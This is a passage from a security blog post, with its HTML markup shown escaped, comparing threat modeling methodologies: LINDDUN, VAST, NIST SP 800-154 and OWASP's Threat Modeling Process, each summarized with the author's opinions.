  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/identifiability-1&quot;&gt;Identifiability&lt;/a&gt;&lt;/strong&gt;: An adversary is able to identify a data subject from a set of data subjects through an item of interest. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Anonymity&lt;/strong&gt; / &lt;strong&gt;pseudonymity&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/non-repudiation&quot;&gt;Non-repudiation&lt;/a&gt;&lt;/strong&gt;: The data subject is unable to deny a claim. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Plausible deniability&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/detectability&quot;&gt;Detectability&lt;/a&gt;&lt;/strong&gt;: An adversary is able to distinguish whether an item of interest about a data subject exists or not, regardless of being able to read the contents itself. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Undetectability&lt;/strong&gt; / &lt;strong&gt;unobservability&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/disclosure-of-information&quot;&gt;Disclosure of information&lt;/a&gt;&lt;/strong&gt;: An adversary is able to learn the content of an item of interest about a data subject. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Confidentiality&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/unawareness&quot;&gt;Unawareness&lt;/a&gt;&lt;/strong&gt;: The data subject is unaware of the collection, processing, storage, or sharing activities (and corresponding purposes) of the data subject’s personal data. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Content awareness&lt;/strong&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/non-compliance&quot;&gt;Non-compliance&lt;/a&gt;&lt;/strong&gt;: The processing, storage, or handling of personal data is not compliant with legislation, &lt;a href=&quot;#compliance-frameworks&quot;&gt;regulation&lt;/a&gt;, and/or policy. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Policy and consent compliance&lt;/strong&gt;)&lt;/li&gt;
&lt;/ol&gt;

&lt;center&gt;&lt;img alt=&quot;MS Threat Modeling&quot; src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/linduun.png&quot; width=&quot;400px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Manage threats&lt;/strong&gt; - Threats should be prioritized via &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment&lt;/a&gt; (one of your choosing, as &lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt; does not prescribe a specific framework) and &lt;a href=&quot;#control-frameworks&quot;&gt;mitigations&lt;/a&gt; should be selected (LINDDUN so graciously provides a &lt;a href=&quot;https://www.linddun.org/mitigation-strategies-and-solutions&quot;&gt;mitigation strategy taxonomy&lt;/a&gt;).&lt;/p&gt;

&lt;h6 id=&quot;thoughts-on-linddun&quot;&gt;Thoughts on LINDDUN&lt;/h6&gt;

&lt;p&gt;&lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt; is cleanly documented, simple and unique. It is purpose-built for the increasingly-important world of &lt;strong&gt;privacy&lt;/strong&gt;. It doesn’t seek to reinvent the wheel, instead leaning on widely adopted strategies for modeling systems (&lt;a href=&quot;#data-flow-diagram&quot;&gt;DFDs&lt;/a&gt;), mapping attack paths (&lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;) and &lt;a href=&quot;#risk-assessment-models&quot;&gt;prioritizing findings&lt;/a&gt;. The &lt;a href=&quot;https://www.linddun.org/about&quot;&gt;LINDDUN team&lt;/a&gt; provides easy-to-use &lt;a href=&quot;https://www.linddun.org/downloads&quot;&gt;resources&lt;/a&gt;, &lt;a href=&quot;https://www.linddun.org/linddun-threat-catalog&quot;&gt;threat tree libraries&lt;/a&gt;, &lt;a href=&quot;https://www.linddun.org/mitigation-strategies-and-solutions&quot;&gt;mitigation catalogs&lt;/a&gt; and literally everything else you would need to be successful in conducting a privacy-oriented threat model.&lt;/p&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;vast&quot;&gt;VAST&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Visual, Agile and Simple Threat&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;https://go.threatmodeler.com/threat-modeling-methodologies&quot;&gt;VAST&lt;/a&gt;&lt;/strong&gt;) modeling is an abstract methodology from the team at &lt;a href=&quot;https://threatmodeler.com/&quot;&gt;ThreatModeler&lt;/a&gt;. VAST is keenly focused on &lt;a href=&quot;https://threatmodeler.com/scalable-threat-modeling-practice/&quot;&gt;scalability&lt;/a&gt;, which in this context can be described as the use of &lt;em&gt;automation&lt;/em&gt;, &lt;em&gt;integration&lt;/em&gt; and &lt;em&gt;collaboration&lt;/em&gt; to perform &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; in an &lt;a href=&quot;https://www.agilealliance.org/agile101/&quot;&gt;Agile&lt;/a&gt; practice. Other important tenants of VAST include providing a self-service model that does not rely on dedicated security expertise, as well as one that will produce valuable, actionable outputs for inter-disciplinary stakeholders. To visualize security concerns at both the application and infrastructure layers, VAST leverages &lt;a href=&quot;https://threatmodeler.com/operational-application-threat-modeling/&quot;&gt;two different types of threat modeling styles&lt;/a&gt; - &lt;em&gt;&lt;a href=&quot;#application-threat-model&quot;&gt;application threat models&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;#operational-threat-model&quot;&gt;operational threat models&lt;/a&gt;&lt;/em&gt;. Application modeling focuses on the application itself using &lt;strong&gt;process-flow diagrams&lt;/strong&gt; while operational modeling goes beyond the application, visualizing the interconnected infrastructure in which the application resides using traditional &lt;strong&gt;data-flow diagrams&lt;/strong&gt; (&lt;a href=&quot;#data-flow-diagram&quot;&gt;DFDs&lt;/a&gt;). Examples of these two modeling techniques are provided below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;18&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;application-threat-model&quot;&gt;Application Threat Model&lt;/h6&gt;

&lt;p&gt;Depicted below is an &lt;strong&gt;Application Threat Model&lt;/strong&gt;, visualized using a &lt;em&gt;process-flow diagram&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;18&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/vast-application-threat-model.jpg&quot; alt=&quot;VAST Application Threat Model&quot; /&gt;&lt;/p&gt;

&lt;h6 id=&quot;operational-threat-model&quot;&gt;Operational Threat Model&lt;/h6&gt;

&lt;p&gt;Depicted below is an &lt;strong&gt;Operational Threat Model&lt;/strong&gt;, visualized using a &lt;em&gt;data flow diagram&lt;/em&gt; (&lt;a href=&quot;#data-flow-diagram&quot;&gt;DFD&lt;/a&gt;). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;18&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/vast-operational-threat-model.jpg&quot; alt=&quot;VAST Operational Threat Model&quot; /&gt;&lt;/p&gt;

&lt;h6 id=&quot;principles-of-vast&quot;&gt;Principles of VAST&lt;/h6&gt;

&lt;p&gt;The essential ingredient for &lt;a href=&quot;https://threatmodeler.com/&quot;&gt;ThreatModeler&lt;/a&gt;’s version of &lt;a href=&quot;#vast&quot;&gt;VAST&lt;/a&gt; is of course their &lt;a href=&quot;https://threatmodeler.com/threatmodeler/#threatmodeler&quot;&gt;commercial tool&lt;/a&gt; which comes preloaded with a proprietary &lt;em&gt;threat library&lt;/em&gt; and is capable of performing &lt;em&gt;automated&lt;/em&gt; threat modeling. In a more abstract sense, VAST can be thought of less as an actual &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling methodology&lt;/a&gt; and more-so as a set of principles by which &lt;a href=&quot;#methodologies&quot;&gt;other&lt;/a&gt; threat modeling methodologies should strive toward. These principles very transparently being…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Visual&lt;/strong&gt;: Leverage multiple visualization techniques such as “&lt;a href=&quot;#application-threat-model&quot;&gt;application&lt;/a&gt;” and “&lt;a href=&quot;#operational-threat-model&quot;&gt;operational&lt;/a&gt;” modeling to best understand and document assets, data flows, threats and ultimately, risks from a variety of perspectives.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Agile&lt;/strong&gt;: VAST requires the use of a &lt;a href=&quot;#tooling&quot;&gt;tool&lt;/a&gt; (such as &lt;a href=&quot;https://threatmodeler.com/threatmodeler/#threatmodeler&quot;&gt;ThreatModler’s tool&lt;/a&gt;, but doesn’t necessarily &lt;em&gt;have&lt;/em&gt; to be) that is easily automatable within a &lt;a href=&quot;https://about.gitlab.com/topics/devops/&quot;&gt;DevOps&lt;/a&gt; pipeline. This provides scalability and consistent repeatability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Simple&lt;/strong&gt;: Simplicity is key, as &lt;a href=&quot;https://www.schneier.com/news/archives/2012/12/complexity_the_worst.html&quot;&gt;complexity hinders&lt;/a&gt; repeatability and scalability. As we know from our review of &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;, having an &lt;em&gt;overly thorough&lt;/em&gt; process is not necessarily a benefit.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threat&lt;/strong&gt;: Threats are the name of game! By focusing on threats, we most effectively determine true risks to a system.&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;thoughts-on-vast&quot;&gt;Thoughts on VAST&lt;/h6&gt;

&lt;p&gt;The efficacy of VAST in the context of its implementation via the &lt;a href=&quot;https://threatmodeler.com/threatmodeler/#threatmodeler&quot;&gt;ThreatModeler tool&lt;/a&gt; is not something I can speak to, as evaluating it would require access to, and experience with the ThreatModeler tool itself. With that said, I think a model which abides by the &lt;a href=&quot;#principles-of-vast&quot;&gt;VAST principles&lt;/a&gt;, can be done at scale, can be performed by anyone, and in the end, yield actionable results, is about as ideal of a form that a &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling methodology&lt;/a&gt; can take. &lt;em&gt;Sure&lt;/em&gt;, VAST may not produce the same &lt;em&gt;depth&lt;/em&gt; of findings, or the &lt;em&gt;perfectly&lt;/em&gt; prioritized list of risks that some of the &lt;a href=&quot;#methodologies&quot;&gt;other methodologies&lt;/a&gt; might, but what good are those other methodologies if they are too cumbersome (looking at you &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;) to use at scale?&lt;/p&gt;

&lt;h6 id=&quot;threat-modeling-methodology-comparison&quot;&gt;Threat Modeling Methodology Comparison&lt;/h6&gt;

&lt;p&gt;Below you can see &lt;a href=&quot;https://threatmodeler.com&quot;&gt;ThreatModeler’s&lt;/a&gt; take on how different, popular threat modeling methodologies compare (&lt;em&gt;which I think is a pretty genuine, mostly unbiased attempt&lt;/em&gt;). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/vast-threat-model-comparison.png&quot; alt=&quot;VAST Threat Modeling Comparison Chart&quot; width=&quot;900px&quot; /&gt;&lt;/center&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;data-centric-system-threat-modeling-nist-sp-800-154&quot;&gt;Data-Centric System Threat Modeling, NIST SP 800-154&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-154/draft&quot;&gt;NIST Special Publication 800-154: Guide to Data-Centric System Threat Modeling&lt;/a&gt;&lt;/strong&gt; &lt;a href=&quot;https://csrc.nist.gov/CSRC/media/Publications/sp/800-154/draft/documents/sp800_154_draft.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt;, published by the &lt;em&gt;&lt;a href=&quot;https://www.nist.gov&quot;&gt;National Institute of Standards and Technology&lt;/a&gt;&lt;/em&gt; (i.e. &lt;em&gt;NIST&lt;/em&gt;), describes threat modeling as, “&lt;em&gt;…a form of risk assessment that models aspects of the attack and defense sides of a particular logical entity, such as a piece of data, an application, a host, a system, or an environment.&lt;/em&gt;” This particular guide to &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; focuses on protecting &lt;em&gt;data&lt;/em&gt; rather than &lt;em&gt;systems&lt;/em&gt;, and is meant to define a set of principles that &lt;a href=&quot;#methodologies&quot;&gt;other methodologies&lt;/a&gt; could also adopt. Below, I have briefly summarized the &lt;a href=&quot;#data-centric-system-threat-modeling-steps&quot;&gt;steps&lt;/a&gt; of this threat modeling methodology. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;data-centric-system-threat-modeling-steps&quot;&gt;Data-Centric System Threat Modeling Steps&lt;/h6&gt;
&lt;p&gt;This section contains the steps for conducting a &lt;em&gt;data-centric&lt;/em&gt; threat modeling exercise (&lt;em&gt;per &lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-154/draft&quot;&gt;NIST SP 800-154&lt;/a&gt;, Section 4&lt;/em&gt;). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/nist-threat-model-process-flow.png&quot; alt=&quot;NIST Threat Model Steps&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Identify and characterize the system and data of interest.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Authorized data locations&lt;/strong&gt; - For all data of interest, document where data is &lt;em&gt;stored&lt;/em&gt;, how data is &lt;em&gt;transmitted&lt;/em&gt;, in what &lt;em&gt;environments&lt;/em&gt; data is processed, how data is &lt;em&gt;input&lt;/em&gt; into the system and finally, how data is &lt;em&gt;output&lt;/em&gt; from the system.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Security objectives&lt;/strong&gt; - What are the &lt;em&gt;confidentiality&lt;/em&gt;, &lt;em&gt;integrity&lt;/em&gt; and &lt;em&gt;availability&lt;/em&gt; (&lt;strong&gt;CIA&lt;/strong&gt;) requirements for the data within the system?&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Authorized actors&lt;/strong&gt; - What people &lt;em&gt;and&lt;/em&gt; processes have an authorization-level high enough to affect the &lt;em&gt;security objectives&lt;/em&gt;?&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Identify and select the &lt;em&gt;attack vectors&lt;/em&gt; to be included in the model.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Attack vectors&lt;/strong&gt; in this methodology can be described as &lt;em&gt;content&lt;/em&gt; (typically malicious) from a &lt;em&gt;source&lt;/em&gt; (i.e. web site) acted upon by a &lt;em&gt;processor&lt;/em&gt; (i.e. web browser). An attack vector example given in the publication is, “&lt;em&gt;Malicious web page content (content) downloaded from a web site (source) by a vulnerable web browser (processor).&lt;/em&gt;“&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Characterize the &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; for mitigating the attack vectors. i.e., for each &lt;em&gt;attack vector&lt;/em&gt; from &lt;em&gt;Step 2&lt;/em&gt;…
    &lt;ol&gt;
      &lt;li&gt;Identify a (feasbile) mitigating control.&lt;/li&gt;
      &lt;li&gt;Evaluate assumed effectiveness of the selected control.&lt;/li&gt;
      &lt;li&gt;Estimate negative implications (e.g. cost, usability/performance degradation, LoE, etc…) of implementing that control.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Analyze the threat model.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-nist-sp-800-154&quot;&gt;The guide&lt;/a&gt; &lt;em&gt;timidly&lt;/em&gt; suggests a couple of risk scoring approaches in this final step, none of which I think are worth regurgitating here. Essentially, (&lt;em&gt;as is similarly done with many &lt;a href=&quot;#methodologies&quot;&gt;other methodologies&lt;/a&gt;&lt;/em&gt;) we want to take some combination of data criticality, attack vector likelihood / impact and control effectiveness, across &lt;em&gt;all&lt;/em&gt; pairings and begin prioritizing risk treatments.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;thoughts-on-the-data-centric-approach-by-nist&quot;&gt;Thoughts on the Data-Centric Approach by NIST&lt;/h6&gt;
&lt;p&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-nist-sp-800-154&quot;&gt;This methodology&lt;/a&gt; introduces some novel-ish concepts, and though it is notably light in some areas with respect to &lt;em&gt;executing&lt;/em&gt; a data-centric threat modeling exercise, my verdict is that it’s a worthy addition to the overall &lt;a href=&quot;#methodologies&quot;&gt;methodology lineup&lt;/a&gt;. Below I’ve listed an assortment of other thoughts about what &lt;a href=&quot;https://www.nist.gov&quot;&gt;NIST&lt;/a&gt; put together. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-60/vol-1-rev-1/final&quot;&gt;NIST SP 800-60&lt;/a&gt; (and inherently &lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.199.pdf&quot;&gt;FIPS PUB 199&lt;/a&gt;) are specifically recommended as a supplemental guides for facilitating the categorization &amp;amp; mapping of data. This is a critical &lt;em&gt;pre-Step 1&lt;/em&gt; action.&lt;/li&gt;
  &lt;li&gt;I &lt;em&gt;really&lt;/em&gt; like the data characteristics that this methodology asks us to identify in &lt;em&gt;Step 1&lt;/em&gt;, but it is &lt;em&gt;very&lt;/em&gt; light on how to &lt;em&gt;actually&lt;/em&gt; inventory / identify that data. &lt;em&gt;This is of course the hard part.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;I can appreciate the thought that went into the syntactic attack vector generation approach this methodology puts forth, but I think describing all attacks as &lt;em&gt;content + source + processor&lt;/em&gt; is rather tedious and oddly patronizing.&lt;/li&gt;
  &lt;li&gt;This methodology caters towards the data-obsessed. I think this heavy focus on data security has &lt;em&gt;certain&lt;/em&gt; merits, as in many cases a threat actor’s intended impacts are indubitably data-specific - but, there are many &lt;em&gt;system&lt;/em&gt;-specific attacks that have less to do with data that would still translate to high risk for a business. For this reason I don’t recommend going all-in on a data-only approach to threat modeling.&lt;/li&gt;
  &lt;li&gt;Putting meaningful thought into the negative implications of each suggested control is an underrepresented part of the controls conjuration step of other threat modeling methodologies. &lt;em&gt;Of course this should be done&lt;/em&gt;! After all, it’d be too easy to just unplug all our computers and throw them into the ocean - no hackers getting our data now, &lt;strong&gt;right?!&lt;/strong&gt; But this just isn’t a feasible option.&lt;/li&gt;
  &lt;li&gt;It’s clear that the authors (&lt;em&gt;Murugiah Souppaya&lt;/em&gt;, NIST and &lt;em&gt;Karen Scarfone&lt;/em&gt;, Scarfone Cybersecurity) ran out of creative juices when they got to &lt;em&gt;Step 4&lt;/em&gt;. They call this final step, “&lt;strong&gt;Analyze the threat model&lt;/strong&gt;” and then proceed to suggest a couple half-baked (“half” being &lt;em&gt;very&lt;/em&gt; generous) scoring approaches for findings. “Analyze” is a pretty generic term - perhaps what they meant is &lt;em&gt;risk model&lt;/em&gt;? In any case, what they suggested is pretty weak.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;owasp-threat-modeling-process&quot;&gt;OWASP Threat Modeling Process&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/&quot;&gt;OWASP&lt;/a&gt;&lt;/strong&gt; has a published &lt;strong&gt;&lt;a href=&quot;https://owasp.org/www-community/Threat_Modeling_Process&quot;&gt;Threat Modeling Process&lt;/a&gt;&lt;/strong&gt; (a.k.a. “&lt;strong&gt;TMP&lt;/strong&gt;”) which consists of &lt;strong&gt;3&lt;/strong&gt; (&lt;em&gt;very familiar&lt;/em&gt;) steps. Their methodology borrows pretty heavily from the more well-established players (i.e. &lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt; &amp;amp; &lt;a href=&quot;#microsoft-threat-modeling&quot;&gt;Microsoft&lt;/a&gt;) and is &lt;em&gt;unsurprisingly&lt;/em&gt; web application-specific. I think OWASP’s own write-up is fairly to-the-point so I’ll only provide a condensed version of the steps below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;22&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;owasp-tmp-steps&quot;&gt;OWASP TMP Steps&lt;/h6&gt;
&lt;p&gt;This section describes the steps for conducting an &lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP TMP&lt;/a&gt; exercise. &lt;a href=&quot;https://owasp.org/&quot;&gt;OWASP&lt;/a&gt; also provides a &lt;a href=&quot;https://github.com/OWASP/threat-modeling-playbook&quot;&gt;playbook&lt;/a&gt; to assist with an assessment. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;22&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/owasp-threat-modeling-process.png&quot; alt=&quot;OWASP TMP&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Decompose the Application
    &lt;ul&gt;
      &lt;li&gt;Construct an &lt;strong&gt;application profile&lt;/strong&gt; (&lt;em&gt;remember from &lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;PASTA&lt;/a&gt;?&lt;/em&gt;) - include application name, version, description, etc…&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Inventory&lt;/strong&gt; and uniquely assign IDs to &lt;strong&gt;system components&lt;/strong&gt; including &lt;em&gt;external dependencies&lt;/em&gt;, &lt;em&gt;entry/exit points&lt;/em&gt; (interfaces to/from the app), &lt;em&gt;assets&lt;/em&gt; (potential targets) and &lt;em&gt;trust levels&lt;/em&gt; (privileges required to interact).&lt;/li&gt;
      &lt;li&gt;Produce a &lt;strong&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt;&lt;/strong&gt; (DFD).
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Determine and Rank Threats
    &lt;ul&gt;
      &lt;li&gt;Select your preferred &lt;strong&gt;threat classification&lt;/strong&gt; framework. OWASP uses &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, but in theory, &lt;a href=&quot;#attack-libraries&quot;&gt;other frameworks&lt;/a&gt; could be subbed in. The authors also reference the “ASF” or &lt;strong&gt;Application Security Frame&lt;/strong&gt;, which is another set of threats (and corresponding controls) sourced from the &lt;a href=&quot;https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide-V1_1.pdf&quot;&gt;OWASP Code Review Guide&lt;/a&gt;.&lt;/li&gt;
      &lt;li&gt;Perform &lt;strong&gt;threat analysis&lt;/strong&gt; (&lt;em&gt;should remind you of &lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;PASTA&lt;/a&gt; again&lt;/em&gt;) by generating threats tied to components/flows within the modeled system. To facilitate this process, consider using &lt;a href=&quot;#attack-trees&quot;&gt;threat trees&lt;/a&gt; and/or &lt;a href=&quot;#use-flow-map&quot;&gt;use/abuse flows&lt;/a&gt;.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Rank threats&lt;/strong&gt; provided known risk factors using a &lt;a href=&quot;#risk-assessment=models&quot;&gt;risk assessment/scoring model&lt;/a&gt; such as &lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt; (which is what OWASP suggests).
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Determine Countermeasures and Mitigation
    &lt;ul&gt;
      &lt;li&gt;Map corresponding countermeasures to identified threats using an appropriate &lt;a href=&quot;#control-frameworks&quot;&gt;controls framework&lt;/a&gt;.&lt;/li&gt;
      &lt;li&gt;Once mapped, determine &lt;em&gt;residual risk&lt;/em&gt;. For example, resulting risks could simply be defined as being “not mitigated”, “partially mitigated” or “fully mitigated”.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;thoughts-on-owasps-tmp&quot;&gt;Thoughts on OWASP’s TMP&lt;/h6&gt;
&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;! So here’s my list-based take on &lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP’s TMP&lt;/a&gt;…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I like the focus / inclusion of &lt;em&gt;dependencies&lt;/em&gt; as a potential attack vector / input interface. Gives me &lt;a href=&quot;https://docs.microsoft.com/en-us/microsoft-365/security/intelligence/supply-chain-malware&quot;&gt;supply chain attack&lt;/a&gt; vibes, which is &lt;a href=&quot;https://www.mandiant.com/resources/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor&quot;&gt;all the rage&lt;/a&gt; these days.&lt;/li&gt;
  &lt;li&gt;This methodology emphasizes the concept of &lt;em&gt;entry points&lt;/em&gt; (and to a lesser degree &lt;em&gt;exit points&lt;/em&gt;). By understanding how/where an attacker can interface with a system we can better determine threats/attack paths.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Oh yeah!&lt;/em&gt; &lt;a href=&quot;#attack-trees&quot;&gt;Threat trees&lt;/a&gt; are back.&lt;/li&gt;
  &lt;li&gt;This concept of an “ASF” (&lt;strong&gt;Application Security Frame&lt;/strong&gt;) has popped up in a few threat modeling methodologies now (&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-mitigations&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://patents.google.com/patent/US7818788&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide-V1_1.pdf&quot;&gt;3&lt;/a&gt;). It is a concept I was not that familiar with prior to this research, but will more carefully consider moving forward.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Oh no&lt;/em&gt;, &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt; and &lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt; are getting more stage time, how &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/david_leblanc/dreadful&quot;&gt;dreadful&lt;/a&gt;&lt;/em&gt;! &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;OWASP sure doesn’t strain themselves coming up with a process for calculating residual risk. &lt;em&gt;Just leverage an &lt;a href=&quot;#risk-assessment-models&quot;&gt;existing methodology&lt;/a&gt;&lt;/em&gt;, they say.&lt;/li&gt;
  &lt;li&gt;ID’ing elements (i.e. dependencies, entry points, assets, trust levels) within the &lt;a href=&quot;#data-flow-diagram&quot;&gt;DFD&lt;/a&gt; is awesome and &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-threat-modeling.html&quot;&gt;looks great&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;tara&quot;&gt;TARA&lt;/h2&gt;
